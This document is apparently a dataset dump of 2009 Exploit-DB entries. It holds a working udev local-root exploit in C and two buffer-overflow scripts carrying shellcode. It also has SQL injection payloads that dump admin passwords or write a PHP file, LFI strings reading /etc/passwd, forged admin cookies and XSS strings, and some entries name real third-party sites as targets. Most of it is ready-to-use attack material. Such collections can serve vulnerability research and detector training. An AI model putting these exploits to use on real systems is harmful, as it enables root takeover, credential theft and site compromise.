QLWD/code_shield huggingface dataset:
标题: Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2) EDB-ID: 8572 CVE: 2009-1185 类型: LOCAL 平台: LINUX 发布日期: 2009-04-30 漏洞利用脚本: /*
 * cve-2009-1185.c
 *
 * udev < 141 Local Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *
 *   udev before 1.4.1 does not verify whether a NETLINK message originates 
 *   from kernel space, which allows local users to gain privileges by sending 
 *   a NETLINK message from user space.
 *
 * Notes:
 *   
 *   An alternate version of kcope's exploit.  This exploit leverages the 
 *   95-udev-late.rules functionality that is meant to run arbitrary commands 
 *   when a device is removed.  A bit cleaner and reliable as long as your 
 *   distro ships that rule file.
 *
 *   Tested on Gentoo, Intrepid, and Jaunty.
 *
 * Usage:
 *
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, 
 *   usually is the udevd PID minus 1) as argv[1].
 *
 *   The exploit will execute /tmp/run as root so throw whatever payload you 
 *   want in there.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
 int sock;
 char *mp, *err;
 char message[4096];
 struct stat st;
 struct msghdr msg;
 struct iovec iovector;
 struct sockaddr_nl address;

 if (argc < 2) {
  err = "Pass the udevd netlink PID as an argument";
  printf("[-] Error: %s\n", err);
  exit(1);
 }

 if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
     (stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
  err = "Required 95-udev-late.rules not found";
  printf("[-] Error: %s\n", err);
  exit(1);
 }

 if (stat("/tmp/run", &st) == -1) {
  err = "/tmp/run does not exist, please create it";
  printf("[-] Error: %s\n", err);
  exit(1);
 }
 system("chmod +x /tmp/run");

 memset(&address, 0, sizeof(address));
 address.nl_family = AF_NETLINK;
 address.nl_pid = atoi(argv[1]);
 address.nl_groups = 0;

 msg.msg_name = (void*)&address;
 msg.msg_namelen = sizeof(address);
 msg.msg_iov = &iovector;
 msg.msg_iovlen = 1;

 sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
 bind(sock, (struct sockaddr *) &address, sizeof(address));

 mp = message;
 mp += sprintf(mp, "remove@/d") + 1;
 mp += sprintf(mp, "SUBSYSTEM=block") + 1;
 mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
 mp += sprintf(mp, "TIMEOUT=10") + 1;
 mp += sprintf(mp, "ACTION=remove") +1;
 mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

 iovector.iov_base = (void*)message;
 iovector.iov_len = (int)(mp-message);

 sendmsg(sock, &msg, 0);

 close(sock);

 return 0;
}

// milw0rm.com [2009-04-30] URL: https://www.exploit-db.com/exploits/8572
标题: ABC Advertise 1.0 - Admin Password Disclosure EDB-ID: 8555 CVE: 2009-1550 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: homepage : http://www.zakkis.ca./index.php?p=39
 
##############################################################
[+] ABC Advertise 1.0 Admin Data Disclosure
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##############################################################
[+] Admin Data Disclosure
 
   - Go to
 
    http://127.0.0.1/[path]/admin.inc.php
 
   - You will find there the admin username and password.
 
   Example : login=admin pass=admin
 
##############################################################

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8555
标题: Teraway LinkTracker 1.0 - Insecure Cookie Handling EDB-ID: 8550 CVE: 2009-1617 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: -------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway LinkTracker V1.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: Ø³Ø§Ù„ Ø§Ù„Ù…Ù…ÙƒÙ† Ø§Ù„Ù…Ø³ØªØ­ÙŠÙ„ Ø§ÙŠÙ† ØªÙ‚ÙŠÙ… Ù‚Ø§Ù„ ÙÙŠ Ø§Ø­Ù„Ø§Ù… Ø§Ù„Ø¹Ø§Ø¬Ø²
-------------------------------------
Teraway LinkTracker V1.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="twLTadmin=userid=1&lvl=1;path=/";
Then Go to  http://victim/path/menu.asp

demo
----
http://www.teraway.com/linktracker/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8550
标题: Flatchat 3.0 - 'pmscript.php' Local File Inclusion EDB-ID: 8549 CVE: 2009-1486 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: ##########################################################################################
[+] Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##########################################################################################

[+] Homepage : http://ninjadesigns.co.uk/

[+] Local File Inclusion

  - Vulnerable code in pmscript.php

--------------------------------------------
$filename = 'users/'.$_GET['with'].'.php';

if (file_exists($filename)) {
    include($filename);
--------------------------------------------


    http://127.0.0.1/path/pmscript.php?with=../../../../../BOOTSECT.BAK%00

##########################################################################################

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8549
标题: Dew-NewPHPLinks 2.0 - Local File Inclusion / Cross-Site Scripting EDB-ID: 8545 CVE: 2009-1624 2009-1623 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: [~]------------------------------------------------------------------------------------------------
[~] DEW-NEWphpLinks 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
[~]
[~] http://www.dew-code.com
[~]  
[~] 
[~] -----------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 25.04.2009
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members(https://security-shell.ws/forum.php)-(http://security-sh3ll.blogspot.com)
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------
[~] Exploit :- LFI - index.php?show=
[~]
[~] http://site.com/index.php?show=../../../../../../etc/passwd%00
[~]  
[~] Ex :-
[~]
[~] http://www.customprintedsweatshirts.com/links/index.php?show=../../../../../../etc/passwd%00  
[~] http://directory.custom-printed-t-shirts.com/index.php?show=../../../../../../etc/passwd%00
[~]-------------------------------------------------------------------------------------------------
[~] XSS on search module works fine on ALL version
[~]  
[~] Ex :- XSS - index.php?PID=
[~] 
[~] http://directory.custom-printed-t-shirts.com/index.php?PID="><script>alert("test")</script>
[~] http://www.customprintedsweatshirts.com/links/index.php?PID="><script>alert("test")</script>
[~]-------------------------------------------------------------------------------------------------

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8545
标题: ECShop 2.5.0 - 'order_sn' SQL Injection EDB-ID: 8548 CVE: 2009-1622 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: ######################### Securitylab.ir ########################
# Application Info:
# Name: ECSHOP
# Version: 2.5.0
# Website: http://www.ecshop.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: High
# Dork: "Powered by ECShop v2.5.0"
#===========================================================
# http://site.com/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*
#===========================================================
#################################################################
# For test:
# http://www.lobang99.com/store
# http://www.amteore.com
# http://www.vostart.com/web/eng
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8548
标题: Teraway FileStream 1.0 - Insecure Cookie Handling EDB-ID: 8551 CVE: 2009-1619 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: -------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway FileStream 1.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: Ya Jma3a Ana AfLawi Horr
-------------------------------------
Teraway FileStream 1.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="twFSadmin=1;path=/";
Then Go to  http://victim/path/menu.asp

demo
----
http://www.teraway.com/filestream/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8551
标题: Teraway LiveHelp 2.0 - Insecure Cookie Handling EDB-ID: 8552 CVE: 2009-1618 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: -------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway LiveHelp 2.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: Ya Jma3a Ana AfLawi Horr
-------------------------------------
Teraway LiveHelp 2.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="TWLHadmin=pwd=&lvl=1&usr=&alias=admin&userid=1;path=/";
Then Go to  http://victim/path/start.asp

demo
----
http://www.teraway.com/livehelp/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+]

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8552
标题: Thickbox Gallery 2 - 'index.php' Local File Inclusion EDB-ID: 8546 CVE: 2009-1625 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: ##########################################################################################
[+] Thickbox Gallery v2 Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##########################################################################################

[+] Local File Inclusion

   PoC :
    http://127.0.0.1/[path]/index.php?ln=../../../../../../BOOTSECT.BAK%00

##########################################################################################

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8546
标题: Opencart 1.1.8 - 'route' Local File Inclusion EDB-ID: 8539 CVE: 2009-1621 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-27 漏洞利用脚本: [+]=================================================================[+]
  [x]Title    : Opencart Lfi Injection Vulnerability
  [x]Software : OpenCart opencart_v1.1.8
  [x]Vendor   : http://www.opencart.com/
  [x]Date     : 25 April 2009 ( Indonesia ) 
  [x]Author   : OoN_Boy
  [x]Contact  : oon.boy9@gmail.com
  [x]Blog     : http://oonboy.blogspot.com
[+]=================================================================[+]
  [o] Vulnerable file
  
  index.php
[+]=================================================================[+]
  [x] Google Dork

  "Powered by opencart"
[+]=================================================================[+]
  [x] Exploit

  http://[site]/[path]/index.php?route=../../../../../../../../../../../../../../../etc/passwd%00
[+]=================================================================[x]

[+]=================================================================[+]
  [x] Special Greetz
  
  www.BatamHacker.or.id www.MainHack.com - www.ServerIsDown.org - 
  Vrs-hCk, c0li, h4ntu, Opay, Ipay, Paman, NoGe, H312Y, pizzyroot,
  zxvf, Joe Chawanua, k0rea,xx_user, s3t4n, Angela Chang, IrcMafia,
  str0ke, em|nem, Pandoe, Ronny 
  Dan buat semuanya yg ga bisa di sebut satuÂ²
[+]=================================================================[+]

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8539
标题: Pragyan CMS 2.6.4 - Multiple SQL Injections EDB-ID: 8533 CVE: 2009-1480 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-24 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: Pragyan CMS
[+] Version: 2.6.4
[+] Website: http://www.pragyan.org

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 22 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Risk: hight
[-] Requisites: magic_quotes_gpc = off/on

This web application is entirely vulnerable to 
SQL Injection because any variable is not 
properly sanitised before being used in an SQL 
query. This can be exploited to manipulate SQL 
queries by injecting arbitrary SQL code.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/?action=view&fileget=-1' UNION ALL SELECT 'evil_code',2,3,4,5,6,7 INTO OUTFILE '/path/evil.php'%23


*************************************************

[+] Fix

You must sanitise any user input.


*************************************************

# milw0rm.com [2009-04-24] URL: https://www.exploit-db.com/exploits/8533
标题: Absolute Form Processor XE-V 1.5 - Insecure Cookie Handling EDB-ID: 8529 CVE: 2009-1504 类型: WEBAPPS 平台: ASP 发布日期: 2009-04-24 漏洞利用脚本: [~] Absolute Form Processor XE-V 1.5 Insecure Cookie Handling Vuln
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 11.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------

exploit: 

javascript:document.cookie = "xlaAFPadmin=lvl=1&userid=1; path=/";

after you go here:

http://www.xigla.com/absolutefp/demo/menu.asp


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org / dafgamers.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-04-24] URL: https://www.exploit-db.com/exploits/8529
标题: Icewarp Merak Mail Server 9.4.1 - 'Base64FileEncode()' Buffer Overflow (PoC) EDB-ID: 8542 CVE: 2009-1516 类型: DOS 平台: WINDOWS 发布日期: 2009-04-27 漏洞利用脚本: <?php
/* Icewarp Merak Mail Server 9.4.1 IceWarpServer.APIObject/api.dll
   Base64FileEncode() stack based buffer overflow poc
   by Nine:Situations:Group::surfista
   site: http://retrogod.altervista.org/

   api.dll contains a stack based buffer overflow in the second argument of
   Base64FileEncode() method, this shared library can be loaded ex. by the
   IceWarp PHP extension which is carried by the Webmail service. You have
   interesting results if the final argument of the icewarp_apiobjectcall()
   function is exposed to remote user input, which is possible by design, with
   the vulnerable method specified.
   We are searching a remote vector for this!

*/

if (php_sapi_name() <> "cgi-fcgi") {
        die("Launch from the merak php console!");
    }

if (!function_exists("icewarp_apiobjectcall")) {
        die("You need the icewarp extension loaded!");
   }

$shellcode= //original scode, alpha2 esp <sh.txt
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c start calc && ".
"\xff";

$shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP".
           "8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1".
           "YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC".
           "wPQ6EvgPKOksA";

$eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll

$bof=str_repeat("A",0x258).
    "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN".
    $eip.
    $shellcode;

$_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject');

$source="AAAA";
$destination=$bof;

icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination );

?>

# milw0rm.com [2009-04-27] URL: https://www.exploit-db.com/exploits/8542
标题: CoolPlayer Portable 2.19.1 - 'Skin' Local Buffer Overflow EDB-ID: 8527 CVE: 2009-1449 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-23 漏洞利用脚本: # CoolPlayer Portable 2.19.1 (Skin) Buffer Overflow exploit
# Credit To Gold_m http://www.milw0rm.com/exploits/8489
# By Stack Sysworm.com
# Note abouts this Exploit : right click >> Option >> Open >> select our target file and boooooom calc executed :d
# Note abouts the last exploit (m3u): my first Exploit Have just 212 + 4 - Junk + eip i dont know why didin't be the same for my sweety freind His0ka
# When i test He's exploit it didin't work and the ret adress be far from eip register and it overwrited by A's junk i dont know why but i think the junk change from box to box
# Thnx for all freind ( Jadi - Mr.Safa7 - Hod - His0ka - Djekmani etc ......
# Thnx for the great str0ke thnx for your support :d
chars = "\x41" * 1504
eip = "\xED\x1E\x94\x7C" # ntdll.dll jmp esp SP 2 FR / EN
header = "[CoolPlayer Skin]\nPlaylistSkin="
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x48\x4e\x37"
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x38"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x34"
"\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x38\x42\x54\x42\x43\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x58\x42\x44\x4e\x50\x4b\x58\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x33\x4f\x55\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x36\x43\x56\x50\x52\x45\x36\x4a\x37\x45\x46\x42\x50\x5a")
poc = (header+chars+eip+"\x90"*10+shellcode)
file = open('skin.ini','w+')
file.write(poc)
file.close()

# milw0rm.com [2009-04-23] URL: https://www.exploit-db.com/exploits/8527
标题: Norton Ghost Support module for EasySetup wizard - Remote Denial of Service (PoC) EDB-ID: 8523 CVE: 2009-1517 类型: DOS 平台: WINDOWS 发布日期: 2009-04-23 漏洞利用脚本: -----------------------------------------------------------------------------------------
 Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)
 url: http://www.symantec.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net/

 File:      EasySetupInt.dll
 Ver.:      14.0.4.30167
 ProgID:    Symantec.EasySetup.1
 Descr.:    CEasySetup Object - Support module for EasySetup wizard
 
 Marked as: RegKey Safe for Script: True
            RegKey Safe for Init: True
            Implements IObjectSafety: False
            KillBitSet: False

 Bug info:  This component contains methods which lead into a denial of
            service.
            This is the list of components:

            "GetBackupLocationPath"
            "CallUninstall"
            "SetupDeleteVolume"
            "CanUseEasySetup"
            "CallAddInitialProtection"
            "CallTour"

            Crash happens here:

            03A6B9D6   8B10             MOV EDX,DWORD PTR DS:[EAX]

            And registers risuation is:
           
            EAX 00000000
            ECX 774F9997 ole32.774F9997
            EDX 019DCB04
            EBX 00000000
            ESP 019DCAE4
            EBP 019DCB9C
            ESI 019DCCB8
            EDI 00000001
            EIP 03A6B9D6 EasySetu.03A6B9D6

            Unfortunately the vulnerability seems to be unexploitable, anyway
            I've found a way to execute arbitrary code but it's useless 
            because requires a high level of user interaction to work.
            That's why it will remain private.
            I hope that someone else will be able to exploit this vuln
            using more convenient ways.

            Peace            

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 with Internet Explorer 7
-----------------------------------------------------------------------------------------
<object classid='clsid:7972D5BE-2213-4B28-884C-F8F82432EAA5' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  test.SetupDeleteVolume()
 End Sub
</script>

# milw0rm.com [2009-04-23] URL: https://www.exploit-db.com/exploits/8523